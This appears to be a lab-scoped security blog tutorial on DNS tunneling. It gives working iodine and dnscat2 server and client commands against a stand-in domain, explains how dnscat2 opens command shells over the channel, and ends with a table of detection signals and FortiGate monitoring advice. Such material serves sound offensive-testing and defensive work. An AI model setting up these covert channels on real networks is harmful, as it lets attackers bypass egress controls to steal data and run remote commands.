DNS Tunneling and Covert C2: iodine, dnscat2, and Catching It on the Wire

Lab-only note: same simulated CONTOSO.LOCAL topology as the Pivoting and Tunneling series — a segmented finance VLAN reachable only through a chokepoint, and an attacker who’s already decided that SSH, Chisel, and ligolo-ng are all off the table because outbound is locked down to DNS and nothing else. Authorised testing only.

The iodine commands below are from the real 0.7.0 binary — extracted from the Ubuntu package with dpkg-deb -x rather than installed as root, then run directly (iodine -h, iodined -h) to get the actual flag list. dnscat2’s client/server syntax is taken from its own README rather than a secondary write-up, since the project’s actual usage examples are unambiguous and don’t need re-deriving.

Why DNS, when everything else already failed

Pivoting and Tunneling Part 2 made the case that Chisel’s whole trick is wrapping a byte stream in a protocol egress filters already permit. DNS takes that one step further: it isn’t just permitted, it’s usually required. A host that can’t resolve names can’t do much of anything, so DNS is the one outbound port-53 conversation that survives almost every egress policy on the planet, including plenty that block 443 to unknown destinations, deny all outbound TCP except a proxy, or run full TLS inspection.

That gives DNS tunneling a specific niche: it’s slow, it’s noisy if you look at the right metric, and it’s the fallback when Chisel-over-HTTPS and ligolo-ng’s TUN interface both need an outbound TCP/UDP path that the environment simply doesn’t offer. If port 53 to arbitrary resolvers is open — or even just to a resolver that will recurse — DNS tunneling still gets a channel out.

How it actually works

Both tools rely on the same structural fact about DNS: a query for <data>.tunnel.example.com has to be answered by someone, and if you control the authoritative nameserver for tunnel.example.com, every one of those queries transits your infrastructure — encoded upstream data riding in the subdomain labels, encoded downstream data riding in the answer record. Getting there requires an actual NS delegation: tunnel.example.com has to have an NS record pointing at the attacker’s server, or every query gets swallowed by whatever “no such subdomain” behaviour the parent zone has. This is the detail that trips people up in a lab: it isn’t enough to run the server, DNS itself has to be told to route queries for that name there.

iodine — raw IP over DNS

iodine builds a full tun interface over DNS, so once it’s up you have an actual IP-layer tunnel rather than just a proxy:

# server (attacker infrastructure, needs the NS delegation for tunnel.example.com)
iodined -f -P somepassword 10.9.0.1/24 tunnel.example.com

# client (on the pivot host)
iodine -f -P somepassword tunnel.example.com

Reading the actual help output: -P sets a shared password (max 32 characters — authentication, not encryption), -f keeps both ends in the foreground for visibility, and the tunnel IP/netmask on the server side (10.9.0.1/24) defines the private range handed out over the tun device. Everything after that — -T to force a record type (NULL, TXT, SRV, MX, CNAME, A), -O to force the downstream encoding (Base32, Base64, Base128), -m and -M for fragment sizing — exists because iodine autodetects the best combination for a given resolver chain by default and these are documented as the manual override to try if the autodetected choice doesn’t survive whatever’s in the middle (recursive resolvers that rewrite case, strip unusual record types, or cap response sizes all show up as connectivity that autodetect can’t quite nail).

Once it’s up, 10.9.0.1 and the client’s assigned address in that /24 are just two ends of a tunnel interface — route table entries, not a SOCKS proxy, so anything that runs over IP runs over it, at the cost of the throughput DNS’s small message sizes force on you.

dnscat2 — a channel, not an interface

dnscat2 takes a different shape: no tun device, a session/channel model instead, closer to a lightweight C2 transport than a VPN. From the project’s own documented usage:

# server (ruby, needs its gem dependencies)
ruby dnscat2.rb tunnel.example.com

# or, listening on a specific host/port/domain combination directly
ruby dnscat2.rb --dns 'host=0.0.0.0,port=53,domain=tunnel.example.com'

# client (C, minimal dependencies, cross-compiles easily)
./dnscat2 tunnel.example.com

--secret sets a pre-shared value the client must match, which the project documents specifically as protection against a man-in-the-middle intercepting the DNS channel itself — the same fingerprint-pinning instinct Chisel’s --fingerprint flag covers for its HTTP tunnel, applied to a protocol where there’s no TLS handshake to hang a certificate check on. --no-encryption exists for lab debugging and is explicitly not the default; dnscat2 encrypts and authenticates its sessions over the DNS channel by default, which is worth knowing when triaging captured traffic — the payload inside the labels isn’t sitting there in the clear even though DNS itself carries no confidentiality.

Where iodine gives you a route table entry, dnscat2 gives you an interactive session — a “console” on the server side that spawns command shells or file-transfer sessions over the tunnel, closer in spirit to Impacket’s wmiexec-style shells than to a general-purpose VPN link.

Why this survives so much

Neither tool needs a listening port on the target — the compromised host only ever makes outbound queries, which is a strictly weaker requirement than Chisel’s need for outbound TCP to a specific port, and it works through resolvers that themselves make the actual upstream connection on the client’s behalf. A host configured to use an internal DNS server (rather than resolving directly) still tunnels fine as long as that internal resolver recurses out to the internet — the internal resolver becomes an unwitting relay, forwarding queries for tunnel.example.com upstream because that’s exactly what a recursive resolver is supposed to do with a name it isn’t authoritative for.

What actually catches it

DNS tunneling doesn’t hide from a byte-pattern signature so much as it hides from a firewall that only checks port and protocol. It doesn’t hide from someone actually looking at query behaviour:

SignalWhat to look for
Query volume and cadenceA tunneled session generates dozens to hundreds of queries per minute to sustain even modest throughput, sustained over minutes to hours — nothing about normal name resolution looks like that
Label length and entropyEncoded upstream data pushes queried names toward the practical length ceiling and looks like high-entropy base32/64/128 noise rather than a word a human would type — xg7fa9k2m1p.tunnel.example.com reads nothing like mail.tunnel.example.com
Record type mixA resolver suddenly issuing a run of TXT, NULL, or CNAME queries against one apex domain, when the rest of its traffic is ordinary A/AAAA lookups, is exactly the record-type flexibility iodine’s -T flag exists to exploit
NXDOMAIN rateTools that don’t yet know which record type or encoding a path supports probe several before settling — a burst of NXDOMAIN or unusual response codes against a single domain during setup is a cheap tripwire
Domain reputation and TTLA newly registered apex domain with an NS delegation and a very short TTL — cheap to stand up, disposable, no organic query history — looks nothing like the resolvers a network normally talks to
Volume asymmetry vs. purposeThe query rate to tunnel.example.com outweighs anything a legitimate domain of that apparent purpose should generate — the same “this connection is open far longer / carries far more than its stated purpose” logic Chisel’s keepalive tell relies on

FortiAnalyzer’s DNS log source is the practical place to operationalize most of this — Watching the Fabric already covers building SLA-driven dashboards off FortiGate telemetry, and query volume/entropy against a single apex domain is the same shape of anomaly, just on the DNS log source instead of the SD-WAN performance one. A FortiGate DNS filter profile with botnet C2 domain rating enabled catches known tunneling infrastructure outright; catching a fresh, unlisted domain is squarely the query-pattern problem this table describes, and it’s the reason a lot of mature environments simply forbid arbitrary recursive resolution from endpoints and force everything through an internal resolver that can be watched — the same “you don’t get to pick your own DNS server” policy that turns this whole technique from “always available” into “available if you can also compromise the resolver policy.”

Where this sits

DNS tunneling is the DNS-shaped answer to the same question Chisel answered over HTTP and ligolo-ng answered with a TUN interface: what carries a byte stream through an egress policy that’s actually locked down. It’s slower and noisier once someone’s watching query behaviour rather than just ports, which is exactly why it tends to be the fallback rather than the first choice — reach for it when Pivoting and Tunneling’s HTTP- and TUN-based options genuinely have nowhere to go.